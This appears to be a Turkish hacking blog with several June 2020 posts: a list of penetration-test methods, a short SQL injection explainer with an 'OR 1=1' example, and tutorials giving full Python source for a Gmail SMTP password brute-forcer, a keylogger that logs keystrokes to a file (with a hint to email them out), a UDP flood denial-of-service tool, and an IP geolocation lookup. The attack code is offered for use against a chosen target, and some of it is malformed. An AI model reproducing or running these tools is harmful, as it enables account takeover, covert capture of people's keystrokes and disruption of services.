13 Haziran 2020 Cumartesi

Penetrasyon Testleri , Penetrasyon Testleri İçin Kullanılan Yöntemler !
Penetrasyon Testleri , Penetrasyon Testleri İçin Kullanılan Methodlar !
Penetrasyon Testleri , Penetrasyon Testleri İçin Kullanılan Methodlar !

1. Web Application Audit

SQL Injection Test: Sql zaafiyetlerinin detaylı testleri yapılmaktadır. (Ör: Blind Sql injection , Error Based Sql injection, Timebased sql injection). Testlerin Yapıldıgı veritabanları MySQL,MsSQL,Oracle,Postgresql v.b

File inclusion Test: Web Application üzerindeki local ve remote file inclusion testleri.

CSRF Test: Spesifik web uygulamalarındaki zaafiyet yaratabilecek post verilerin testleri. (Ör: Yetkili personele mail atılarak admin user tanımlama v.s spesifik isleri yapan web sayfalarına auto post data yollattırılarak zaafiyet olup olmadıgının kontrolü)

Cookie Check and Hijacking(XSS): Web uygulaması üzerinde varsa kullanılan cookie ve session datasının belli metodlarla manipüle edilerek izinsiz giriş v.b gibi denemelerin yapılması. OWASP standartlarına göre test edilerek raporlanmaktadır.

2. PCI Security Audit

Ödeme kartları veren firmaların taşıması gereken güvenlik standartlarının eksikliklerinin ve yeterliliklerinin kontrol edilip varsa eksikliklerin raporlanması testleridir. PCI-DSS standartlarına göre raporlanmaktadır.

3. Database Security Audit

Local Intranet Database Test: Kurum içinde kullanılmakta olan database motoru üzerindeki mevcut bilinen veya bilinmeyen güvenlik zaafiyet testleri. (Ör: Oracle veritabanlarında TNS poison v.b gibi testler)

4. Wireless Security Audit

WEP/WPA Cracking Test: Kurum içindeki kullanımda olan Wireless ağların veya Access pointlerin şifrelerinin kırılıp kırılamadığının test edilmesi.

Jaseger Beacon Test: Beacon flood metoduyla fake wireless ağlar yaratılarak içerideki clientlerin bu ağlara bağlanıp bağlanmadığının kontrolü.

Passive Hijacking Test: Kırılan wireless ağlarında networke dahil olmadan bilgi ve data toplama denemesi.

Packet injection Test: Wireless ağa dahil kullanıcıların datalarının içine customize packetler enjecte edilerek bilgi toplanması.

5. Social Engineering Test

Phone Test: Telefon Callerid taklit edilerek kurum içerisindeki personelden bilgi alınıp alınamadığının testleri.

Email Test and Etc: Email veya başka bir method ile kurum çalışanlarından bilgi elde edilip edilemediğinin testleri.

6. Web Server Audit

Kurum bünyesinde kullanılmakta olan web serverlar üzerindeki zaafiyetlerin testleri. (Ör: Apache,Nginx,IIS gibi webserver ların mevcut bilinen veya bilinmeyen exploit testleri)

7. Network Security Audit

MITM Test: Arp Poison v.s metodlar ile local network ağı üzerinde hat dinlemesi yapılıp yapılamadığının kontrolü.

DNS spoofing Tests: Dns paketleri manipüle edilerek local network kullanıcılarının gercek olmayan sitelere yönlendirilip yönlendirelemeyeceğinin kontrolü.

SSL Trip Tests: Local network kullanıcılarının SSL sitelere girişi esnasında MITM metoduyla ssl sertifikasının değiştirilerek veya port yönlendirmesi yapılarak SSL sitelere giden trafiğin dinlenip dinlenemeyeceğinin kontrolü

Vlan Hopping Test: Local networkte vlan yapısı var ise bu vlan yapısının vlan hopping methodlarıyla atlatılıp atlatılamadıgının kontrolü.

Network Devices Pen Test: Local network üzerinde çalışan printer v.b gibi diğer cihazların penetrasyon testleri

WPAD Test: Local network üzerinde WPAD güvenlik zaafiyeti yöntemleriyle hattın dinlenip dinlenemeyeceğinin kontrolü

SMB Relay Test: Microsoft sistemlerdeki ağ paylaşım güvenlik zaafiyeti testleri. Firmware Exploiting Test: Local networkte konumlandırılmış network cihazlarının mevcut firmwarelerinin exploitable olup olmadığının kontrolleri.

Default Password Check: Local networkte konumlandırılmış network cihazlarının şifrelerinin kırılıp kıralamadığı testleri

Ayrıca network’e dahil tüm bilgisayarlar üzerindeki işletim sistemi ve çalışan uygulamalar üzerindeki güvenlik zafiyet testlerini kapsar​

8. Bluetooth Device Audit

Kullanıcıların kullanmakta olduğu bluetooth cihazlar üzerindeki zaafiyet testleri.

9. USB / Other Media Exploiting Check

USB veya CD gibi medyalar yöntemiyle sosyal mühendislik metodları kullanılarak kullanıcıların pclerine yönelik olabilecek saldırıların kontrolü

10. DDOS

SYN Flood Test: Web Sistemlere yönelik Syn Spoofed Flood Load testleri

UDP Flood Test : UDP Flood Testleri​

11. TDOS (Phone2Dos)

Telefon sistemlerine yönelik load testleri

Kurum ihtiyacı ve stratejik önemine göre değişkenlik gösteren birçok blackbox senaryo üzerinden farklı testlerde yapılmaktadır.

12 Haziran 2020 Cuma

SQL İNJECTİON AÇIKLARI NASIL OLUŞUR ?


        Arkadaşlar hepinize merhabalar bugün biraz sql dilinden bahsedicez ve en önemli açıklardan birindn oluşan SQL İnjection Zaafiyetinden bahsedicez. Biz injection zaafiyetinde web sitesine veya sisteme çeşitli kodlar yedirmeye çalışırız bugünde sql injection zaafiyetleri nasıl oluşuyormuş onu inceliyecez . Öncelikle SQL dilinden biraz bahsedelim.


    SQL Dili:  SQL (Structured Query Language – Yapılandırılırmış Sorgu Dili) kavramı, bir nevi veritabanı yönetimini ifade eder. Burada amaç verileri yönetebilmek ve tasarlayabilmektir. Esasen SQL bir programlama dili olmasa bile pek çok kişi tarafından bu şekilde kabul görür. SQL aracılığıyla sadece veritabanı üstünden işlem gerçekleştirilir. Genel anlamda SQL kurulumu bir hayli zordur ve hatta kurulumu kadar kaldırılması da bir hayli teknik bir konudur.

        Evet SQL dilinin şimdi ne kadar önemli olduğunu anlamışsınızdır diye düşünüyorum. Sizin bir web sitesinin şifreler gibi hatta kredi kartı bilgileri gibi önemli bilgiler bulunduran bir veri tabanına SQL kodları enjekte ederek tüm bilgilerin elde etmeniz sonucunda ortaya çıkan felaketi kimse düşünmek istemez. Aslında "a şirketinin 200.000 kullanıcı bilgileri çalınmış" tarzı haberler sql injection ile birebir ilgilidir. Gelin bu namı değer sql injection açığı nasıl oluşuyormuş onu görelim.
    

    Açıklı SQL Kodu:    


                                 "SELECT first_name, last_name FROM users WHERE user_id = '$id';" 

        Bu SQL kodunu biraz incelediğimizde PHP diliyle senkronize kullanılan bir kod olduğunu anlarız. Tabii bu kod biraz eksik "$id" isimli değişkenin bir input olarak kullanıcıdan alması gerekir. Bu koda göre kullanıcıdan alınan id değerine göre bize veri tabanından kişi bilgilerini çekmekte. Peki o zaman biz burada hiç id değeri bilmediğimizi düşünürsek SQL'deki 'OR' bağlacını kullanarak buradaki kodu şekillendirebiliriz. Hiç bilmediğimiz bir "id" numarasını ekrana gireriz ister böyle bir id olsun ister olmasın ama biz burada OR bağlacını kullanarak yanına yazıcağımız herhangi bir eşitlik veya doğruluk değeri bize tüm veri tabanını çekmemize neden olur. Sisteme girilecek aşağıdaki kod buna örnektir

"SELECT first_name, last_name FROM users WHERE user_id = 5 OR 1=1;"

        Bu kodda gördüğünüz gibi OR bağlacını kullanarak yaptığımız işemde bize ya 5 numaralı idiyi ver ya da 1=1 olan yani tüm kullanıcıları gözümüzün önüne dök dedik. Tabi artık hiç bir şey bu kadar kolay değil çoğu firma bu durumdan ağır zararlar aldığı için  aşağıdaki linkteki koddaki gibi önlemler aldı ve bu tarz açıklara sistemlerinde yer vermemeye başladı.


LİNK: https://github.com/ethicalhack3r/DVWA/blob/master/vulnerabilities/sqli/source/impossible.php

    

        Bugün SQL İnjection zaafiyetinden bahsettik. Sağlıcakla kalmanız dileiğiyle yazımı burada sonlandırıyorum. Görüşmek üzere !


          

11 Haziran 2020 Perşembe

PYTHON GMAİL BRUTE FORCE ARACI YAZALIM!
            
                
 

       Evet arkadaşlar bugün smtp serverini kullanarak bir Gmail BF aracı yazıcaz siz dilerseniz başka smtp server adresi yazarak çeşitli sunuculara göre bunu ayarlayabilirsin. Bu işlemleri Python'da smtplib kütüphanesini kullanıcaz. İsterseniz işe smtplib kütüphanemizi dahil ederek başlıyalım. 

        CODE:

                import smtplib as sp


            Şimdi biz smtplib kütüphanemize kısaca sp demiş olduk isterseniz SMTP sunucusuna bağlanalım.

       CODE: 

                smtpserver = sp.SMTP("smtp.gmail.com", 587)
                smtpserver.ehlo()
                smtpserver.starttls()

            Artık smtp sunucumuza bağlandık. SMTP sunucusu olarak gmailin sunucusunu yazdım port olan kısma da 587 yazdım bazı smtp servislerinde bu 25, 2525 olarak değişkenlik gösterebilir. İsterseniz artık hedef maili alalım ve wordlisti alıp okuma işlemi gerçekleştirelim.


      CODE:

                target = str(input("Lutfen hedef emaili giriniz: "))

                passwfile = str(input("Lutfen wordlist dizini yaziniz: "))

                passwfile = open(passwfile, "r")

            Son olarak for döngümüzle brute force attack yapıcağız. bunun için SMTP sunucumuza login olmamız lazım ama hataları da ayrıt etmemiz lazım bunun için pythondaki try-except kalıbımızı kullanalım.

     CODE:

              for password in passwfile:
try:
smtpserver.login(target, password)

print("[+] Sifre Bulundu: %s" % password)
break;
except sp.SMTPAuthenticationError:
print("[-] Sifre Yanlis: %s" % password)

              
            For dögüsüyle oluşturduğumuz password değişkenini passwfile isimini verdiğimiz wordlistte arattık eğer sisteme giriş yaparsa bize "[+] Sifre Bulundu" yazacak ve karşısına da şifreyi verecek. Bulamazsa yani bir authentication hatası alırsa o zaman "[-] Sifre Yanlis:" yazacak ve karşısana da eşleşmeyen şifreyi girecektir. Basit bir şekilde brute force aracı yazdık aşağıdan tüm kodlara ulaşabilirsiniz.

TÜM KODLAR: 

import smtplib as sp

smtpserver = sp.SMTP("smtp.gmail.com", 587)
smtpserver.ehlo()
smtpserver.starttls()

target = str(input("Lutfen hedef emaili giriniz: "))

passwfile = str(input("Lutfen wordlist dizini yaziniz: "))

passwfile = open(passwfile, "r")

for password in passwfile:
try:
smtpserver.login(target, password)

print("[+] Sifre Bulundu: %s" % password)
break;
except sp.SMTPAuthenticationError:
print("[-] Sifre Yanlis: %s" % password)



                
PYTHON İLE BASİT KEYLOGGER YAZALIM
   
 
       
     Arkadaşlar hepinize selamlar bugün python dilinde basit bir keylogger yazalım size tavsiyem başkalarının keyloggerlarını kullanmayın. Bu tarz keyloggerlarda backdoor bulunabilir ve sisteminizde ciddi bir şekilde risk yaratabilir. İlk iş olarak ben gerekli modüllerimi dahil ediyorum. Biz bugün "pynput" modülünü kullancaz. Pynput modülünü dahil edip bunun içindeki keyboardın "Key" ve "Listener" ını dahil ederek hem klavyeden çıktı alıcam hem de bunu bir dosyaya yazdıracağım.

    CODE:

            import pynput

            from pynput.keyboard import Key,Listener

        

        "with" ile bir kaç tanımlama işlemi yapıp işimiz zorlaşmasın diye bunu "listener" kelimesine atıyacağım. Burda on_press ve on_realease fonksiyonlarımı tanımlıyorum. Son olarak da listenerımı join methoduyla kullanıyorum.

       CODE:

            with Listener(on_press = on_press, on_realease = on_realease) as listener:

    listener.join()

          Klavyeden tıklandığında sayac isimli değişkeni 1 arttıralım öncelikle fonkisyonlar dışında sayac isimli değişkeni 0 olarak tanımlıyorum keys isimli bir liste oluşturup onu boş bırakıyorum biz bu listeye klavyeden girilenleri "append" metoduyla ekliyecez ve bunları keylog isimli bir ".txt" dosyası olarak kaydediceğiz.Tabiki bunların hepsini on_press fonksiyonumuzda gerçekleştiriyorum. 

       CODE:

         sayac = 0
         keys = []    
         def on_press(key):
        global sayac,keys
        sayac = sayac + 1
        print("{0} tiklandi".format(key))
        keys.append(key)

        if sayac >= 15:
    sayac = 0
    dosya_yaz(keys)
    keys = []

            Sayaç 15'ten büyük veya eşit olduğunda dosya_yaz isimli fonksiyonun içine listemizi yazdırmakta o zaman biz de şimdi dosya_yaz fonksiyonumuzu tanımlayalım

        CODE:

               def dosya_yaz(keys):

with open("keylog.txt", "a" , encoding = "utf-8") as file:

for key in keys:
k = str(key).replace("'", "")
if k.find("enter") > 0:
file.write("\n")
elif k.find("Key") == -1:
file.write(k)

              Buradaki işlemle dosya_yaz fonksiyonu içerisinde keylog.txt isimli bir metin belgesi oluşturduk ve bunun içerisindeki tırnakları vs. yok ettik.Entera basıldığında satır atlamasını istedik. Sonrasında da klavyeden alınan verinin dosyaya yazmasını istedik. Aynı zamanda alınan tuşların komut satırında da yazmasını istedik. Son olarak keyloggerın "esc" tuşuna basıldığında çıkış işlemi yapmasını isteyelim. Bu işlemi on_realease fonksiyonunda gerçekleştiriyoruz. 

          CODE:

                def on_realease(key):
            dosya = open(keylog.txt, "r")

            if key == Key.esc:
        print("exit")
        return False
 
            Evet böylelikle basit bir keylogger yazdık siz dilerseniz "smtplib" kütüphanesini kullanarak çıktıyı e posta aracılığıyla gönderebilirsiniz. Kolay Gelsin!!!


            TÜM KODLAR:


import pynput

from pynput.keyboard import Key,Listener

sayac = 0
keys = []



def on_press(key):
global sayac,keys
sayac = sayac + 1
print("{0} tiklandi".format(key))
keys.append(key)

if sayac >= 15:
sayac = 0
dosya_yaz(keys)
keys = []

def dosya_yaz(keys):

with open("keylog.txt", "a" , encoding = "utf-8") as file:
for key in keys:
k = str(key).replace("'", "")
if k.find("enter") > 0:
file.write("\n")
elif k.find("Key") == -1:
file.write(k)





def on_realease(key):
dosya = open(keylog.txt, "r")

if key == Key.esc:
print("exit")
return False

with Listener(on_press = on_press, on_realease = on_realease) as listener:
listener.join()
             

9 Haziran 2020 Salı

PYTHON İLE DDOS TOOL YAZALIM !
          
python ile ddos tool yazma
python ile ddos tool yazma
Evet Arkadaşlar bugün sizlerle python kullanarak basit bir DDos tool yazalım. Öncelikle Dos ne demek ona bakalım.
Tanım: Denial of Service, internete bağlı bir hostun hizmetlerini geçici veya süresiz olarak aksatarak, bir makinenin veya ağ kaynaklarının asıl kullanıcılar tarafından ulaşılamamasını hedefleyen bir siber saldırıdır. DDos'ta bunun bir çok kullanıcı tarafından yapılan saldırı türüdür. 

Şimdi hemen kütüphanelerimizi dahil ederek işe koyulalım. İlk iş socket ve random kütüphanelerimizi kodumuza dahil edelim. Socket bizim internet bağlantısı almamızı sağlıyacak random ise sisteme gönderilecek veriyi ayarlıyacağız 

          import socket
          import random


           Şimdi hedef için input ile ip ve port alalım. Bunu yaparken ip için string bir input port için ise integer                  bir değer almak istiyorum.

           hedef_ip = str(input("hedef ip: "))
           hedef_port = int(input("hedef port: "))

          Şimdi hedef için gönderilecek veriyi "_urandom()" fonksiyonumuzla 4000 byte olarak ayarlıyalım.
           
          bytes = random._urandom(4000)
  
          Hedefe bağlanmak için bir socketle IPv4 ve UDP bağlantısı alalım ve bunu "sock" isimli değişkene                   atıyalım.

          sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)

           UDP yerine TCP için SOCK_STREAM'ı kullanabilirsiniz. Son olarak bir sayaç oluşturalım bu sayaç                gönderilen paketleri anlamamızı sağlıyacak. Şimdi sırada veriyi göndermek var bunun için while                        döngüsüyle sürekli bir veri gönderme işlemi yapalım.
          
sayac = 0
while True:    sock.sendto(bytes,(hedef_ip, hedef_port))    sayac = sayac + 1    print("Gonderilen Paket: %s"%(sayac))

            Evet tüm kodları şimdi yazdık isterseniz aşağıdan tüm kodlara ulaşabilirsiniz.

            LİNK: http://bc.vc/ERHo2rd
            

8 Haziran 2020 Pazartesi

Python İle Tool Yazalım | İp Adresinden Bilgi Toplama !
python ile ip tarayici yapimi.jpeg
python ile ip tarayici yapimi.jpeg

Merhaba , Sizlere Python ile nasıl ip hakkında bilgi toplayabiliriz onu anlatıcam.Bu sayede sizler de tool yazarken aklınızdaki soruları yoketmiş olucaksınız. Peki şimdi bakalım python ile tool nasıl yazılır beraber kodlayalım.Öncelikle ilk yapmamız gereken ip hakkında bilgi toplamamıza yarayan bir siteden api çekiceğiz.
Bu sayede istediğimiz ipden şehir , konum , adress , kordinat bilgilerini alıcağız.Hemen kodlarımızı yazmaya başlayalım ohalde.

 Öncelikle request ve json kütüphanemizi ekleyelim.Peki neden ekliyoruz ? çünkü siteden api çekip bilgi alacağımız için siteye istek atıp dönen cevabı bilmemiz gerekir.Yoksa herhangi bir işlem yapamayız değil mi?
Hemen kütüphanemizi ekledik.Ardından Kullanıcıdan ip adresi almamız ve onu bir değişkene atamamız gerek çünkü ip adresi üzerinden işlem yaptıracağız.Hemen yazalım beraber.

                                     ip = input("IP ADRESİNİ GİRİNİZ : " + "")

ip adresini alıp ip değişkenine atadık.Şimdi ise sitemizden api almamız gerek.
Site Linki : http://bc.vc/rBD0L5i
Hemen linke tıklayıp api kısmından kendimize bir api oluyoruz.Api aldıktan sonra ise gerekli ayarlamaları yapalım.
           serviceURL = "http://api.ipapi.com/"+ip+"?access_key="+"f76460f4e8673c445e56d09769f54243"+"&output=json"

Tabikide siz acces_key"+" ifadesinden sonrasına kendi apinizi yerleştireceksiniz.
Ardından sitemize istek atıcağız.

                                                         r = requests.get(serviceURL)

isteğimizi attık.Peki şimdi napacağız.Tabiki gelen cevabı alıp bilgileri çekeceğiz.
Bunun için hemen kodlarımızı yazalım.

y = json.loads(r.text)

Gelen cevabı y adlı değişkenimize aktardık.Kalan kodları hemen size aktaracağım
fakat en alt kısımda programın kaynak kodunu vericeğim.


  1. y = json.loads(r.text)
  2. veri = y["latitude"],y["longitude"]
  3. print("İP ADRESİ HAKKINDA BİLGİLER YÜKLENİYOR ...")
  4. print("İP ADRESİ HAKKINDA BİLGİLER YÜKLENİYOR ...")
  5. print("İP ADRESİ HAKKINDA BİLGİLER YÜKLENİYOR ...")
  6. print("İP ADRESİ HAKKINDA BİLGİLER YÜKLENİYOR ...")
  7. print("----------------------------------------------")
  8. print("OTURDUĞU ÜLKE :  " + "" +y["country_name"])
  9. print("OTURDUĞU iL : " + "" +y["region_name"])
  10. print("OTURDUĞU Şehir :  "+ "" +y["city"])
  11. print("KONUM KORDİNATLARI : " + "" + str(veri))
  12. print("----------------------------------------------")
  13. print("20 KM YANILMA PAYI VAR .")
Evet programımız bukadar idi.Şimdi tüm halini indirme linki olarak vereceğim.


Kaynak Kodu : http://bc.vc/sRvYoe7